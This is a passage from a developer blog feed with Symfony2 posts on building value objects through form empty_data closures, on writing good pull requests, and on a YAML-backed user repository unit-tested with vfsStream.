some point, at least in the Java world with their
<a href="http://en.wikipedia.org/wiki/Plain_Old_Java_Object">POJOs/JavaBeans</a>, but I am
digressingā¦</p>
<p>The solution to not rely on getters and setters is to control how objects are
created into the Form component. In order to do that, you can rely on the
<a href="http://symfony.com/doc/current/cookbook/form/use_empty_data.html#option-2-provide-a-closure"><code class="language-plaintext highlighter-rouge">empty_data</code></a>
option.</p>
<p>Letās take an example. Among other things, your model layer defines a <code class="language-plaintext highlighter-rouge">Customer</code>
entity that owns a <code class="language-plaintext highlighter-rouge">name</code> and an <code class="language-plaintext highlighter-rouge">Email</code> value object. You donāt want to break
encapsulation and <a href="http://williamdurand.fr/2013/07/30/from-stupid-to-solid-code/">write SOLID
code</a> instead, so
you end up writing the following <code class="language-plaintext highlighter-rouge">Customer</code> class definition:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="kn">namespace</span> <span class="nn">My\Model</span><span class="p">;</span>
<span class="kd">class</span> <span class="nc">Customer</span>
<span class="p">{</span>
<span class="k">private</span> <span class="nv">$name</span><span class="p">;</span>
<span class="cd">/**
* @var Email
*/</span>
<span class="k">private</span> <span class="nv">$email</span><span class="p">;</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="nv">$name</span><span class="p">,</span> <span class="kt">Email</span> <span class="nv">$email</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">name</span> <span class="o">=</span> <span class="nv">$name</span><span class="p">;</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">email</span> <span class="o">=</span> <span class="nv">$email</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">Email</code> value object can be defined as follows. Thank you
<a href="http://verraes.net/">Mathias</a> by the way.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="kn">namespace</span> <span class="nn">My\Model</span><span class="p">;</span>
<span class="kd">class</span> <span class="nc">Email</span>
<span class="p">{</span>
<span class="k">private</span> <span class="nv">$email</span><span class="p">;</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="nv">$email</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">email</span> <span class="o">=</span> <span class="nv">$email</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>In your <code class="language-plaintext highlighter-rouge">CustomerType</code>, all you need to do is configure the <code class="language-plaintext highlighter-rouge">empty_data</code>
option in the <code class="language-plaintext highlighter-rouge">setDefaultOptions()</code> method using a <strong>closure</strong>:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="kn">namespace</span> <span class="nn">My\Form\Type</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">My\Model\Customer</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Symfony\Component\Form\AbstractType</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Symfony\Component\Form\FormBuilderInterface</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Symfony\Component\Form\FormInterface</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Symfony\Component\OptionsResolver\OptionsResolverInterface</span><span class="p">;</span>
<span class="kd">class</span> <span class="nc">CustomerType</span> <span class="kd">extends</span> <span class="nc">AbstractType</span>
<span class="p">{</span>
<span class="cd">/**
* {@inheritdoc}
*/</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">buildForm</span><span class="p">(</span><span class="kt">FormBuilderInterface</span> <span class="nv">$builder</span><span class="p">,</span> <span class="kt">array</span> <span class="nv">$options</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$builder</span>
<span class="o">-></span><span class="nf">add</span><span class="p">(</span><span class="s1">'name'</span><span class="p">,</span> <span class="s1">'string'</span><span class="p">)</span>
<span class="o">-></span><span class="nf">add</span><span class="p">(</span><span class="s1">'email'</span><span class="p">,</span> <span class="k">new</span> <span class="nc">EmailType</span><span class="p">())</span>
<span class="p">;</span>
<span class="p">}</span>
<span class="cd">/**
* {@inheritdoc}
*/</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">setDefaultOptions</span><span class="p">(</span><span class="kt">OptionsResolverInterface</span> <span class="nv">$resolver</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$resolver</span><span class="o">-></span><span class="nf">setDefaults</span><span class="p">(</span><span class="k">array</span><span class="p">(</span>
<span class="s1">'data_class'</span> <span class="o">=></span> <span class="s1">'My\Model\Customer'</span><span class="p">,</span>
<span class="s1">'empty_data'</span> <span class="o">=></span> <span class="k">function</span> <span class="p">(</span><span class="kt">FormInterface</span> <span class="nv">$form</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="k">new</span> <span class="nc">Customer</span><span class="p">(</span>
<span class="nv">$form</span><span class="o">-></span><span class="nf">get</span><span class="p">(</span><span class="s1">'name'</span><span class="p">)</span><span class="o">-></span><span class="nf">getData</span><span class="p">(),</span>
<span class="nv">$form</span><span class="o">-></span><span class="nf">get</span><span class="p">(</span><span class="s1">'email'</span><span class="p">)</span><span class="o">-></span><span class="nf">getData</span><span class="p">()</span>
<span class="p">);</span>
<span class="p">}</span>
<span class="p">));</span>
<span class="p">}</span>
<span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>
<p>It is worth mentioning that it works fine with custom types, collections, and so
on. In the example above, it relies on a custom <code class="language-plaintext highlighter-rouge">EmailType</code> rather than directly
using the built-in <code class="language-plaintext highlighter-rouge">email</code> type and creating the value object in the
<code class="language-plaintext highlighter-rouge">CustomerType</code>. The creation is left to this <code class="language-plaintext highlighter-rouge">EmailType</code>. Calling <code class="language-plaintext highlighter-rouge">getData()</code> on
<code class="language-plaintext highlighter-rouge">$form->get('email')</code> actually returns an <code class="language-plaintext highlighter-rouge">Email</code> object.</p>
<p>For the record, here is the <code class="language-plaintext highlighter-rouge">EmailType</code> definition:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="kn">namespace</span> <span class="nn">My\Form\Type</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">My\Model\Email</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Symfony\Component\Form\AbstractType</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Symfony\Component\Form\FormBuilderInterface</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Symfony\Component\Form\FormInterface</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Symfony\Component\OptionsResolver\OptionsResolverInterface</span><span class="p">;</span>
<span class="kd">class</span> <span class="nc">EmailType</span> <span class="kd">extends</span> <span class="nc">AbstractType</span>
<span class="p">{</span>
<span class="cd">/**
* {@inheritdoc}
*/</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">buildForm</span><span class="p">(</span><span class="kt">FormBuilderInterface</span> <span class="nv">$builder</span><span class="p">,</span> <span class="kt">array</span> <span class="nv">$options</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$builder</span><span class="o">-></span><span class="nf">add</span><span class="p">(</span><span class="s1">'email'</span><span class="p">,</span> <span class="s1">'email'</span><span class="p">);</span>
<span class="p">}</span>
<span class="cd">/**
* {@inheritdoc}
*/</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">setDefaultOptions</span><span class="p">(</span><span class="kt">OptionsResolverInterface</span> <span class="nv">$resolver</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$resolver</span><span class="o">-></span><span class="nf">setDefaults</span><span class="p">(</span><span class="k">array</span><span class="p">(</span>
<span class="s1">'data_class'</span> <span class="o">=></span> <span class="s1">'My\Model\Email'</span><span class="p">,</span>
<span class="s1">'empty_data'</span> <span class="o">=></span> <span class="k">function</span> <span class="p">(</span><span class="kt">FormInterface</span> <span class="nv">$form</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="k">new</span> <span class="nc">Email</span><span class="p">(</span>
<span class="nv">$form</span><span class="o">-></span><span class="nf">get</span><span class="p">(</span><span class="s1">'email'</span><span class="p">)</span><span class="o">-></span><span class="nf">getData</span><span class="p">()</span>
<span class="p">);</span>
<span class="p">}</span>
<span class="p">));</span>
<span class="p">}</span>
<span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>
<p>No more excuse to write crappy model classes now!</p>
On Creating Pull Requests2013-11-20T00:00:00+00:00https://williamdurand.fr/2013/11/20/on-creating-pull-requests<p>As a <a href="https://github.com/willdurand">maintainer of various Open Source
projects</a>, I use to manage quite a lot of issues
and <strong>P</strong>ull <strong>R</strong>equests (PRs). While <strong>issues</strong> are often <strong>well-written</strong>, I
must say that most of the <strong>Pull Requests</strong> I see are <strong>not</strong>.</p>
<p>Three years ago, I started contributing on Open Source. It took me some time to
release my own projects, and even more time to manage projects that people
actually used. I was so happy that I accepted almost all Pull Requests, often by
reworking them on my own. I thought it was a wise decision, but I was wrong.</p>
<p>Creating a Pull Request to fix a bug or to implement a new feature in a project
is awesome. Really. From a maintainer point of view (or maybe just mine), it is
a <strong>gift</strong>. <strong>Any contribution</strong> to an Open Source project <strong>is a way to thank
its author</strong>.</p>
<p>However, it does not mean that you, as a contributor, donāt have to follow a
couple of rules to get your work merged at some point. You may think that
spending time on fixing a bug is enough, but it is actually <strong>half the work</strong>
you have to do while contributing to any Open Source project. You always have
to:</p>
<ul>
<li>work on the project;</li>
<li>fit the projectās philosophy.</li>
</ul>
<p>The latest point includes coding standards, documentation, commit messages,
and any other things related to the targeted project. Thanks to
<a href="https://github.com">GitHub</a>, these rules may be found in a <code class="language-plaintext highlighter-rouge">CONTRIBUTING</code>
file. Mine (for PHP projects) contains the following set of rules:</p>
<blockquote>
<p>[ā¦]</p>
<p>You MUST follow the <a href="http://www.php-fig.org/psr/1/">PSR-1</a> and
<a href="http://www.php-fig.org/psr/2/">PSR-2</a>. If you donāt know about any of them, you
should really read the recommendations. Canāt wait? Use the <a href="http://cs.sensiolabs.org/">PHP-CS-Fixer
tool</a>.</p>
<p>You MUST run the test suite.</p>
<p>You MUST write (or update) unit tests.</p>
<p>You SHOULD write documentation.</p>
<p>Please, write <a href="http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html">commit messages that make
sense</a>,
and <a href="http://git-scm.com/book/en/Git-Branching-Rebasing">rebase your branch</a>
before submitting your Pull Request.</p>
<p>One may ask you to <a href="http://gitready.com/advanced/2009/02/10/squashing-commits-with-rebase.html">squash your
commits</a>
too. This is used to ācleanā your Pull Request before merging it (we donāt want
commits such as <code class="language-plaintext highlighter-rouge">fix tests</code>, <code class="language-plaintext highlighter-rouge">fix 2</code>, <code class="language-plaintext highlighter-rouge">fix 3</code>, etc.).</p>
<p>Also, while creating your Pull Request on GitHub, you MUST write a description
which gives the context and/or explains why you are creating it.</p>
</blockquote>
<p>Hopefully, it is crystal clear. If it is not, please leave a comment.</p>
<p>First, I describe the <strong>C</strong>oding <strong>S</strong>tandards (CS) I use in the project. Then,
I expect people to run the test suite, and to <strong>write tests</strong> to prove the bugās
existence, but also to prove that the fix works. Basically, <strong>no test, no
merge</strong>. If you canāt come up with a fix, create a Pull Request with a failing
test case.</p>
<p>If you want your patch to be merged, you should send clean commits. Most of the
time, a <strong>single commit</strong> including the fix, some tests, and an update on the
documentation is enough. Once you have hacked on the project, <a href="http://gitready.com/advanced/2009/02/10/squashing-commits-with-rebase.html">squash your
commits</a>
and send the result as a single commit.</p>
<p>Last sentence is about the Pull Request itself, the one you will create on
GitHub. Most of the time, people donāt write any description. Please, <strong>start
writing Pull Request descriptions, now!</strong> Give the context such as the āwhyā
(you need this feature) or the āhowā (you found the bug you fixed).</p>
<p>Also, the title of your Pull Request is important. Write a short yet clear
sentence giving the insight of your Pull Request. It is common to add a prefix
to the title, such as: <code class="language-plaintext highlighter-rouge">[WIP]</code>, which stands for <em>Work In Progress</em>; <code class="language-plaintext highlighter-rouge">[POC]</code>
(Proof Of Concept), <code class="language-plaintext highlighter-rouge">[WCM]</code> (Waiting Code Merge), etc.</p>
<p>If you follow these rules, then maintainers will focus on the code while
reviewing your Pull Request and will be able to quickly merge it, rather than
wasting their time on trying to get something āmergeableā.</p>
<p>Last but not the least, you may get a lot of feedback. Please, <strong>support your
Pull Request until it gets merged</strong>. Donāt disappear!</p>
<p>Thank you my heroes! ā„</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Follow the rules of the project you are contributing to;</li>
<li>Attach clean commits to your Pull Request (rebase may help);</li>
<li>Write a description in your Pull Request, explaining the context.</li>
<li>More information at: <a href="https://speakerdeck.com/willdurand/2015">Git & GitHub & OpenSource</a></li>
</ul>
DDD with Symfony2: Basic Persistence & Testing2013-11-13T00:00:00+00:00https://williamdurand.fr/2013/11/13/ddd-with-symfony2-basic-persistence-and-testing<p>After having described <a href="/2013/08/07/ddd-with-symfony2-folder-structure-and-code-first/">a decent folder
structure</a> and
<a href="/2013/08/20/ddd-with-symfony2-making-things-clear/">made things clear</a> about
DDD and this series, I will continue to bootstrap the sample application,
focusing on a <strong>basic persistence</strong> layer and <strong>testing</strong>. It is not tied to
DDD but it is worth writing about these two points.</p>
<p>A <strong>basic persistence</strong> layer is a layer that is <strong>simple</strong>. In other words, it
does the job, period. It has poor performances, but it does not matter. What
matters is that you can develop your application without having to decide
whether you will use MySQL rather than a NoSQL database or an API for instance.</p>
<h2 id="the-yamluserrepository-repository">The <code class="language-plaintext highlighter-rouge">YamlUserRepository</code> Repository</h2>
<p>Until now, the application used the <code class="language-plaintext highlighter-rouge">InMemoryUserRepository</code> described in the
<a href="/2013/08/07/ddd-with-symfony2-folder-structure-and-code-first/">first blog
post</a> of this
series. In order to introduce new concepts later in this series, you need a real
persistence layer that is able to <strong>load</strong> and <strong>store</strong> data. That is why you
need a <code class="language-plaintext highlighter-rouge">YamlUserRepository</code>.</p>
<p>For the record, <a href="http://yaml.org/">YAML</a> is a data
serialization format that is both simple and <strong>human readable</strong>. You donāt need
to focus on performance right now, so storing data in a file is ok.</p>
<p>Here is the implementation of the <code class="language-plaintext highlighter-rouge">YamlUserRepository</code>. That might not be the
perfect/best implementation but it actually works:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="kn">namespace</span> <span class="nn">Acme\CoreDomainBundle\Repository</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Acme\CoreDomain\User\User</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Acme\CoreDomain\User\UserId</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Acme\CoreDomain\User\UserRepository</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Symfony\Component\Filesystem\Filesystem</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Symfony\Component\Yaml\Yaml</span><span class="p">;</span>
<span class="kd">class</span> <span class="nc">YamlUserRepository</span> <span class="kd">implements</span> <span class="nc">UserRepository</span>
<span class="p">{</span>
<span class="k">private</span> <span class="nv">$filename</span><span class="p">;</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="nv">$filename</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">filename</span> <span class="o">=</span> <span class="nv">$filename</span><span class="p">;</span>
<span class="p">(</span><span class="k">new</span> <span class="nc">Filesystem</span><span class="p">())</span><span class="o">-></span><span class="nb">touch</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="n">filename</span><span class="p">);</span>
<span class="p">}</span>
<span class="cd">/**
* {@inheritDoc}
*/</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">find</span><span class="p">(</span><span class="kt">UserId</span> <span class="nv">$userId</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">foreach</span> <span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="nf">findAll</span><span class="p">()</span> <span class="k">as</span> <span class="nv">$user</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$user</span><span class="o">-></span><span class="nf">getId</span><span class="p">()</span><span class="o">-></span><span class="nf">isEqualTo</span><span class="p">(</span><span class="nv">$userId</span><span class="p">))</span> <span class="p">{</span>
<span class="k">return</span> <span class="nv">$user</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="kc">null</span><span class="p">;</span>
<span class="p">}</span>
<span class="cd">/**
* {@inheritDoc}
*/</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">findAll</span><span class="p">()</span>
<span class="p">{</span>
<span class="nv">$users</span> <span class="o">=</span> <span class="k">array</span><span class="p">();</span>
<span class="k">foreach</span> <span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="nf">getRows</span><span class="p">()</span> <span class="k">as</span> <span class="nv">$row</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$users</span><span class="p">[]</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">User</span><span class="p">(</span>
<span class="k">new</span> <span class="nc">UserId</span><span class="p">(</span><span class="nv">$row</span><span class="p">[</span><span class="s1">'id'</span><span class="p">]),</span>
<span class="nv">$row</span><span class="p">[</span><span class="s1">'first_name'</span><span class="p">],</span>
<span class="nv">$row</span><span class="p">[</span><span class="s1">'last_name'</span><span class="p">]</span>
<span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nv">$users</span><span class="p">;</span>
<span class="p">}</span>
<span class="cd">/**
* {@inheritDoc}
*/</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">add</span><span class="p">(</span><span class="kt">User</span> <span class="nv">$user</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$rows</span> <span class="o">=</span> <span class="k">array</span><span class="p">();</span>
<span class="k">foreach</span> <span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="nf">getRows</span><span class="p">()</span> <span class="k">as</span> <span class="nv">$row</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$user</span><span class="o">-></span><span class="nf">getId</span><span class="p">()</span><span class="o">-></span><span class="nf">isEqualTo</span><span class="p">(</span><span class="k">new</span> <span class="nc">UserId</span><span class="p">(</span><span class="nv">$row</span><span class="p">[</span><span class="s1">'id'</span><span class="p">])))</span> <span class="p">{</span>
<span class="k">continue</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$rows</span><span class="p">[]</span> <span class="o">=</span> <span class="nv">$row</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$rows</span><span class="p">[]</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span>
<span class="s1">'id'</span> <span class="o">=></span> <span class="nv">$user</span><span class="o">-></span><span class="nf">getId</span><span class="p">()</span><span class="o">-></span><span class="nf">getValue</span><span class="p">(),</span>
<span class="s1">'first_name'</span> <span class="o">=></span> <span class="nv">$user</span><span class="o">-></span><span class="nf">getFirstName</span><span class="p">(),</span>
<span class="s1">'last_name'</span> <span class="o">=></span> <span class="nv">$user</span><span class="o">-></span><span class="nf">getLastName</span><span class="p">(),</span>
<span class="p">);</span>
<span class="nb">file_put_contents</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="n">filename</span><span class="p">,</span> <span class="nc">Yaml</span><span class="o">::</span><span class="nf">dump</span><span class="p">(</span><span class="nv">$rows</span><span class="p">));</span>
<span class="p">}</span>
<span class="cd">/**
* {@inheritDoc}
*/</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">remove</span><span class="p">(</span><span class="kt">User</span> <span class="nv">$user</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$rows</span> <span class="o">=</span> <span class="k">array</span><span class="p">();</span>
<span class="k">foreach</span> <span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="nf">getRows</span><span class="p">()</span> <span class="k">as</span> <span class="nv">$row</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$user</span><span class="o">-></span><span class="nf">getId</span><span class="p">()</span><span class="o">-></span><span class="nf">isEqualTo</span><span class="p">(</span><span class="k">new</span> <span class="nc">UserId</span><span class="p">(</span><span class="nv">$row</span><span class="p">[</span><span class="s1">'id'</span><span class="p">])))</span> <span class="p">{</span>
<span class="k">continue</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$rows</span><span class="p">[]</span> <span class="o">=</span> <span class="nv">$row</span><span class="p">;</span>
<span class="p">}</span>
<span class="nb">file_put_contents</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="n">filename</span><span class="p">,</span> <span class="nc">Yaml</span><span class="o">::</span><span class="nf">dump</span><span class="p">(</span><span class="nv">$rows</span><span class="p">));</span>
<span class="p">}</span>
<span class="k">private</span> <span class="k">function</span> <span class="n">getRows</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">return</span> <span class="nc">Yaml</span><span class="o">::</span><span class="nf">parse</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="n">filename</span><span class="p">)</span> <span class="o">?:</span> <span class="k">array</span><span class="p">();</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This new repository relies on two <strong>Symfony2 components</strong>:
<a href="http://symfony.com/doc/current/components/filesystem.html">Filesystem</a> and
<a href="http://symfony.com/doc/current/components/yaml/introduction.html">Yaml</a>.</p>
<p>As you might notice, the identity between two <strong>users</strong> is checked by the
<code class="language-plaintext highlighter-rouge">isEqualTo()</code> method, part of the <code class="language-plaintext highlighter-rouge">UserId</code> value object. The body of this method
is pretty straightforward:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">function</span> <span class="n">isEqualTo</span><span class="p">(</span><span class="kt">UserId</span> <span class="nv">$userId</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">return</span> <span class="nv">$this</span><span class="o">-></span><span class="nf">getValue</span><span class="p">()</span> <span class="o">===</span> <span class="nv">$userId</span><span class="o">-></span><span class="nf">getValue</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Register the new repository into the <strong>D</strong>ependency <strong>I</strong>njection <strong>C</strong>ontainer
(DIC).
The <code class="language-plaintext highlighter-rouge">YamlUserRepository</code> class takes a filename as first argument, that is why
the service definition contains a <code class="language-plaintext highlighter-rouge"><argument></code> tag.</p>
<p>The file will be created into the cache directory (<code class="language-plaintext highlighter-rouge">%kernel.cache_dir%</code>) meaning
that if you clear the cache, your data will be lost.</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"><!-- src/Acme/CoreDomainBundle/Resources/config/repositories.xml --></span>
<span class="cp"><?xml version="1.0" ?></span>
<span class="nt"><container</span> <span class="na">xmlns=</span><span class="s">"http://symfony.com/schema/dic/services"</span>
<span class="na">xmlns:xsi=</span><span class="s">"http://www.w3.org/2001/XMLSchema-instance"</span>
<span class="na">xsi:schemaLocation=</span><span class="s">"http://symfony.com/schema/dic/services http://symfony.com/schema/dic/services/services-1.0.xsd"</span><span class="nt">></span>
<span class="nt"><parameters></span>
<span class="c"><!-- ... --></span>
<span class="nt"><parameter</span> <span class="na">key=</span><span class="s">"user_repository.yaml.class"</span><span class="nt">></span>Acme\CoreDomainBundle\Repository\YamlUserRepository<span class="nt"></parameter></span>
<span class="nt"></parameters></span>
<span class="nt"><services></span>
<span class="c"><!-- ... --></span>
<span class="c"><!-- Concrete Implementations --></span>
<span class="nt"><service</span> <span class="na">id=</span><span class="s">"user_repository.yaml"</span> <span class="na">class=</span><span class="s">"%user_repository.yaml.class%"</span> <span class="na">public=</span><span class="s">"false"</span><span class="nt">></span>
<span class="nt"><argument></span>%kernel.cache_dir%/users.yml<span class="nt"></argument></span>
<span class="nt"></service></span>
<span class="nt"></services></span>
<span class="nt"></container></span>
</code></pre></div></div>
<p>Using the <code class="language-plaintext highlighter-rouge">YamlUserRepository</code> rather than the <code class="language-plaintext highlighter-rouge">InMemoryUserRepository</code> is just
a matter of configuration. Change the <strong>alias</strong> for the <code class="language-plaintext highlighter-rouge">user_repository</code>
service and you are done:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><service</span> <span class="na">id=</span><span class="s">"user_repository"</span> <span class="na">alias=</span><span class="s">"user_repository.yaml"</span><span class="nt">></service></span>
</code></pre></div></div>
<p>Looks good? <strong>No!</strong> I told you that the implementation worked fine, did you
trust me? You should not, and you should write tests instead.</p>
<h2 id="unit-testing">Unit Testing</h2>
<p>Testing the <code class="language-plaintext highlighter-rouge">YamlUserRepository</code> implementation looks pretty easy, except that
it relies on the filesystem to load and store data. Most of the developers I
know would <code class="language-plaintext highlighter-rouge">touch</code> a temporary file at the beginning of each test method and
delete it at the end. That is <strong>not</strong> the right way to test such a thing.</p>
<p><a href="https://github.com/mikey179/vfsStream">vfsStream</a> to the rescue! It is a stream
wrapper for a virtual filesystem, which can be used to mock the real filesystem.
That is exactly what you need.</p>
<p>Install it as a <code class="language-plaintext highlighter-rouge">dev</code> package:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ composer require mikey179/vfsStream:"1.3.*@dev" --dev
</code></pre></div></div>
<p>First, you need to setup the virtual filesystem using the <code class="language-plaintext highlighter-rouge">vfsStream::setup()</code>
method. Then, you can create a virtual filename that will be injected into your
<code class="language-plaintext highlighter-rouge">YamlUserRepository</code> just like the DIC would do it:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="kn">namespace</span> <span class="nn">Acme\CoreDomainBundle\Tests\Repository</span><span class="p">;</span>
<span class="kn">use</span> <span class="n">org\bovigo\vfs\vfsStream</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Acme\CoreDomainBundle\Repository\YamlUserRepository</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Acme\CoreDomainBundle\Tests\TestCase</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Acme\CoreDomain\User\User</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Acme\CoreDomain\User\UserId</span><span class="p">;</span>
<span class="kd">class</span> <span class="nc">YamlUserRepositoryTest</span> <span class="kd">extends</span> <span class="nc">TestCase</span>
<span class="p">{</span>
<span class="k">private</span> <span class="nv">$cacheDir</span><span class="p">;</span>
<span class="k">private</span> <span class="nv">$repository</span><span class="p">;</span>
<span class="k">protected</span> <span class="k">function</span> <span class="n">setUp</span><span class="p">()</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">cacheDir</span> <span class="o">=</span> <span class="n">vfsStream</span><span class="o">::</span><span class="nf">setup</span><span class="p">(</span><span class="s1">'cache'</span><span class="p">);</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">repository</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">YamlUserRepository</span><span class="p">(</span><span class="n">vfsStream</span><span class="o">::</span><span class="nf">url</span><span class="p">(</span><span class="s1">'cache/users.yml'</span><span class="p">));</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The following method creates fixtures that will be useful in your test methods:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="kd">class</span> <span class="nc">YamlUserRepositoryTest</span> <span class="kd">extends</span> <span class="nc">TestCase</span>
<span class="p">{</span>
<span class="c1">// ...</span>
<span class="k">protected</span> <span class="k">function</span> <span class="n">addUsers</span><span class="p">()</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">repository</span><span class="o">-></span><span class="nf">add</span><span class="p">(</span>
<span class="k">new</span> <span class="nc">User</span><span class="p">(</span><span class="k">new</span> <span class="nc">UserId</span><span class="p">(</span><span class="s1">'62A0CEB4-0403-4AA6-A6CD-1EE808AD4D23'</span><span class="p">),</span> <span class="s1">'Jean'</span><span class="p">,</span> <span class="s1">'Bon'</span><span class="p">)</span>
<span class="p">);</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">repository</span><span class="o">-></span><span class="nf">add</span><span class="p">(</span>
<span class="k">new</span> <span class="nc">User</span><span class="p">(</span><span class="k">new</span> <span class="nc">UserId</span><span class="p">(</span><span class="s1">'62A0CEB4-0403-4AA6-A6CD-1EE808AD4D44'</span><span class="p">),</span> <span class="s1">'John'</span><span class="p">,</span> <span class="s1">'Doe'</span><span class="p">)</span>
<span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>And here are your first tests:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="kd">class</span> <span class="nc">YamlUserRepositoryTest</span> <span class="kd">extends</span> <span class="nc">TestCase</span>
<span class="p">{</span>
<span class="c1">// ...</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">testFind</span><span class="p">()</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="nf">addUsers</span><span class="p">();</span>
<span class="nv">$user</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-></span><span class="n">repository</span><span class="o">-></span><span class="nf">find</span><span class="p">(</span>
<span class="k">new</span> <span class="nc">UserId</span><span class="p">(</span><span class="s1">'62A0CEB4-0403-4AA6-A6CD-1EE808AD4D23'</span><span class="p">)</span>
<span class="p">);</span>
<span class="nv">$this</span><span class="o">-></span><span class="nf">assertNotNull</span><span class="p">(</span><span class="nv">$user</span><span class="p">);</span>
